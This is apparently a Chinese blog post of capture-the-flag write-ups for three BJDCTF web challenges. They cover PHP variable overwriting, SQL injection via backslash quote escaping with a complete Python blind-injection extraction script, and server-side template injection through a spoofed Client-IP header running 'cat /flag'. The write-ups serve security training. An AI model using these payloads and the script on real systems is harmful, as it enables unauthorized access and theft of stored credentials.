[BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip
[BJDCTF2020]Mark loves cat
源码泄露
使用GitHack.py下载源码
下载之后对源代码进行审计
flag.php代码为:
1 2 3 | <code-pre class = "code-pre" id= "pre-M323Wp" ><code-line class = "line-numbers-rows" ></code-line><?php <code-line class = "line-numbers-rows" ></code-line> <code-line class = "line-numbers-rows" ></code-line> $flag = file_get_contents ( '/flag' );</code-pre> |
iindex.py里的关键代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | <code-pre class = "code-pre" id= "pre-82dXEd" ><code-line class = "line-numbers-rows" ></code-line><?php <code-line class = "line-numbers-rows" ></code-line> include 'flag.php' ; <code-line class = "line-numbers-rows" ></code-line> $yds = "dog" ; <code-line class = "line-numbers-rows" ></code-line> $is = "cat" ; <code-line class = "line-numbers-rows" ></code-line> $handsome = 'yds' ; <code-line class = "line-numbers-rows" ></code-line> foreach ( $_POST as $x => $y ){ <code-line class = "line-numbers-rows" ></code-line> $ $x = $y ; <code-line class = "line-numbers-rows" ></code-line>} <code-line class = "line-numbers-rows" ></code-line> foreach ( $_GET as $x => $y ){ <code-line class = "line-numbers-rows" ></code-line> $ $x = $ $y ; <code-line class = "line-numbers-rows" ></code-line>} <code-line class = "line-numbers-rows" ></code-line> foreach ( $_GET as $x => $y ){ <code-line class = "line-numbers-rows" ></code-line> if ( $_GET [ 'flag' ] === $x && $x !== 'flag' ){ <code-line class = "line-numbers-rows" ></code-line> exit ( $handsome ); <code-line class = "line-numbers-rows" ></code-line> } <code-line class = "line-numbers-rows" ></code-line>} <code-line class = "line-numbers-rows" ></code-line> if (!isset( $_GET [ 'flag' ]) && !isset( $_POST [ 'flag' ])){ <code-line class = "line-numbers-rows" ></code-line> exit ( $yds ); <code-line class = "line-numbers-rows" ></code-line>} <code-line class = "line-numbers-rows" ></code-line> if ( $_POST [ 'flag' ] === 'flag' || $_GET [ 'flag' ] === 'flag' ){ <code-line class = "line-numbers-rows" ></code-line> exit ( $is ); <code-line class = "line-numbers-rows" ></code-line>} <code-line class = "line-numbers-rows" ></code-line> echo "the flag is: " . $flag ; </code-pre> |
观察代码可以看出来是变量覆盖漏洞,代码审计一书中也对变量覆盖漏洞进行过分析
按照常规想要获取到flag,是通过:
1 2 | <code-pre class = "code-pre" id= "pre-67R7fx" ><code-line class = "line-numbers-rows" ></code-line> echo "the flag is: " . $flag ; </code-pre> |
因为包含了flag.php文件,在flag.php文件中包含了网站目录下的flag文件。
但是在这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | <code-pre class = "code-pre" id= "pre-a6kBFn" ><code-line class = "line-numbers-rows" ></code-line> foreach ( $_GET as $x => $y ){ <code-line class = "line-numbers-rows" ></code-line> if ( $_GET [ 'flag' ] === $x && $x !== 'flag' ){ <code-line class = "line-numbers-rows" ></code-line> exit ( $handsome ); <code-line class = "line-numbers-rows" ></code-line> } <code-line class = "line-numbers-rows" ></code-line>} <code-line class = "line-numbers-rows" ></code-line> <code-line class = "line-numbers-rows" ></code-line> if (!isset( $_GET [ 'flag' ]) && !isset( $_POST [ 'flag' ])){ <code-line class = "line-numbers-rows" ></code-line> exit ( $yds ); <code-line class = "line-numbers-rows" ></code-line>} <code-line class = "line-numbers-rows" ></code-line> <code-line class = "line-numbers-rows" ></code-line> if ( $_POST [ 'flag' ] === 'flag' || $_GET [ 'flag' ] === 'flag' ){ <code-line class = "line-numbers-rows" ></code-line> exit ( $is ); <code-line class = "line-numbers-rows" ></code-line>} </code-pre> |
可以看到有三个有输出的exit:
1 2 3 | <code-pre class = "code-pre" id= "pre-AmKpjC" ><code-line class = "line-numbers-rows" ></code-line> exit ( $handsome ); <code-line class = "line-numbers-rows" ></code-line> exit ( $yds ); <code-line class = "line-numbers-rows" ></code-line> exit ( $is );</code-pre> |
找一个最简单的,第二个exit:
1 2 3 4 | <code-pre class = "code-pre" id= "pre-AcJWsj" ><code-line class = "line-numbers-rows" ></code-line> if (!isset( $_GET [ 'flag' ]) && !isset( $_POST [ 'flag' ])){ <code-line class = "line-numbers-rows" ></code-line> exit ( $yds ); <code-line class = "line-numbers-rows" ></code-line>} </code-pre> |
只要不给flag传值就会退出,退出的时候会显示$yds的值,而$yds的值在代码最开始的时候初始化过:
1 2 | <code-pre class = "code-pre" id= "pre-w7Rk2f" ><code-line class = "line-numbers-rows" ></code-line> $yds = "dog" ; </code-pre> |
初始化和exit之间有代码:
1 2 3 4 5 6 7 8 | <code-pre class = "code-pre" id= "pre-FBckwW" ><code-line class = "line-numbers-rows" ></code-line> foreach ( $_POST as $x => $y ){ <code-line class = "line-numbers-rows" ></code-line> $ $x = $y ; <code-line class = "line-numbers-rows" ></code-line>} <code-line class = "line-numbers-rows" ></code-line> <code-line class = "line-numbers-rows" ></code-line> foreach ( $_GET as $x => $y ){ <code-line class = "line-numbers-rows" ></code-line> $ $x = $ $y ; <code-line class = "line-numbers-rows" ></code-line>} </code-pre> |
我们只要在这段代码中令$yds=$flag,将原来$yds变量的值进行覆盖,同时符合退出条件,就可以输出拿到flag。
从下往上逆推,思路要清楚一点。
退出条件是不给flag传值,接着要令$yds=$flag
1 2 3 | <code-pre class = "code-pre" id= "pre-CNxNtS" ><code-line class = "line-numbers-rows" ></code-line> foreach ( $_GET as $x => $y ){ <code-line class = "line-numbers-rows" ></code-line> $ $x = $ $y ; <code-line class = "line-numbers-rows" ></code-line>}</code-pre> |
所以我们GET传值
1 | <code-pre class = "code-pre" id= "pre-ZRjxHh" ><code-line class = "line-numbers-rows" ></code-line>?yds=flag</code-pre> |
这样就能达到我们的目的,第一个POST的循环都没有用到。
查看源代码获取flag
[BJDCTF 2nd]简单注入
界面是一个登录框,输入admin/123456
输入一下单引号
存在过滤,扫描发现存在robots.txt文件
继续看hint.txt文件
1 2 3 4 5 | <code-pre class= "code-pre" id= "pre-TkzXaH" ><code-line class= "line-numbers-rows" ></code-line> Only u input the correct password then u can get the flag <code-line class= "line-numbers-rows" ></code-line> and p3rh4ps wants a girl friend. <code-line class= "line-numbers-rows" ></code-line> <code-line class= "line-numbers-rows" ></code-line> select * from users where username= '$_POST["username"]' and password = '$_POST["password"]' ; </code-pre> |
显示了后端的SQL语句,我们可以使用\转义符转义username后面的引号,令username的第一个引号和password的第一个引号闭合,逃逸出password第一个引号后面的内容
如输入
1 | <code-pre class= "code-pre" id= "pre-YSMdQj" ><code-line class= "line-numbers-rows" ></code-line>username=admin\</code-pre> |
1 2 | <code-pre class= "code-pre" id= "pre-CfSpy3" ><code-line class= "line-numbers-rows" ></code-line> password = or 1# </code-pre> |
数据库查询语句事实上变成了这样:
1 2 | <code-pre class= "code-pre" id= "pre-ZnZsX8" ><code-line class= "line-numbers-rows" ></code-line> select * from users where username= 'admin\' and password=' or 1#'; </code-pre> |
这时候的回显变为了:
也就是查询正确的结果和查询错误的结果显示的页面是不一样的,由此编写二分盲注脚本(其实就是在原来的二分盲注脚本基础上改改就行)
不知道为啥,二分脚本里面payload写成这样死活不行:
1 2 | <code - pre class = "code-pre" id = "pre-2F6mtK" ><code - line class = "line-numbers-rows" >< / code - line>payload = 'or/**/(ascii(substr((password),%d,1))>%d)#' % (x,mid) < / code - pre> |
手动测试的时候or也没有被过滤,脚本里面就出错了,将or换成了^异或符号
1 2 | <code - pre class = "code-pre" id = "pre-s5DGef" ><code - line class = "line-numbers-rows" >< / code - line>payload = '^/**/(ascii(substr((password),%d,1))>%d)#' % (x,mid) < / code - pre> |
最后的二分盲注脚本为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <code - pre class = "code-pre" id = "pre-fkYsKX" ><code - line class = "line-numbers-rows" >< / code - line> import requests <code - line class = "line-numbers-rows" >< / code - line> import time <code - line class = "line-numbers-rows" >< / code - line> <code - line class = "line-numbers-rows" >< / code - line>url = 'http://30e42e1c-74ab-4d1f-82e8-fcfb7562dfe1.node3.buuoj.cn/index.php' <code - line class = "line-numbers-rows" >< / code - line>flag = '' <code - line class = "line-numbers-rows" >< / code - line> for x in range ( 1 , 50 ): <code - line class = "line-numbers-rows" >< / code - line> high = 137 <code - line class = "line-numbers-rows" >< / code - line> low = 32 <code - line class = "line-numbers-rows" >< / code - line> mid = (low + high) / / 2 <code - line class = "line-numbers-rows" >< / code - line> while high>low: <code - line class = "line-numbers-rows" >< / code - line> payload = '^/**/(ascii(substr((password),%d,1))>%d)#' % (x,mid) <code - line class = "line-numbers-rows" >< / code - line> data = { <code - line class = "line-numbers-rows" >< / code - line> "username" : "admin\\" , <code - line class = "line-numbers-rows" >< / code - line> "password" :payload <code - line class = "line-numbers-rows" >< / code - line> } <code - line class = "line-numbers-rows" >< / code - line> response = requests.post(url,data = data) <code - line class = "line-numbers-rows" >< / code - line> if 'P3rh4ps' in response.text: <code - line class = "line-numbers-rows" >< / code - line> low = mid + 1 <code - line class = "line-numbers-rows" >< / code - line> else : <code - line class = "line-numbers-rows" >< / code - line> high = mid <code - line class = "line-numbers-rows" >< / code - line> mid = (high + low) / / 2 <code - line class = "line-numbers-rows" >< / code - line> flag + = chr ( int (mid)) <code - line class = "line-numbers-rows" >< / code - line> print flag <code - line class = "line-numbers-rows" >< / code - line> #or (ascii(substr((password),1,1))>1)# < / code - pre> |
运行之后拿到密码:
使用admin/OhyOuFOuNdit登录即可获取flag
[BJDCTF2020]The mystery of ip
进去之后随便点点,先点hint再点flag
hint页面啥也没有,查看源代码
有一句 Do you know why i knoe your ip?怀疑是需要伪造IP地址
再看flag页面
为啥我IP在加拿大???
burpsuite拦截,client-ip伪造IP为127.0.0.1
成功伪造其为127.0.0.1
发现没有什么其他的提示了,尝试了一下SQL注入,无果
这时候可以注意到网站是使用flask框架搭建的--->>因为前端使用了bootstrap框架组件(还好有一点flask开发基础)
遇到flask框架反应就是SSTI模板注入,题目又是IP的奥秘,伪造IP为:
1 2 | <code - pre class = "code-pre" id = "pre-mChtRt" ><code - line class = "line-numbers-rows" >< / code - line>client - ip: 127.0 . 0.1 / {{ 1 + 1 }} < / code - pre> |
计算出了1+1之后的值,证明存在SSTI模板注入
继续修改payload:
1 | <code - pre class = "code-pre" id = "pre-xKSYQr" ><code - line class = "line-numbers-rows" >< / code - line>client - ip: 127.0 . 0.1 / {{system( "ls /" )}}< / code - pre> |
根目录下存在flag文件,cat一下即可
1 2 | <code - pre class = "code-pre" id = "pre-G6SrTC" ><code - line class = "line-numbers-rows" >< / code - line>client - ip: 127.0 . 0.1 / {{system( "cat /flag" )}} < / code - pre> |
获取flag
参考链接:
https://www.cnblogs.com/wangtanzhi/p/12318630.html
https://www.cnblogs.com/h3zh1/p/12669345.html
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/12767897.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!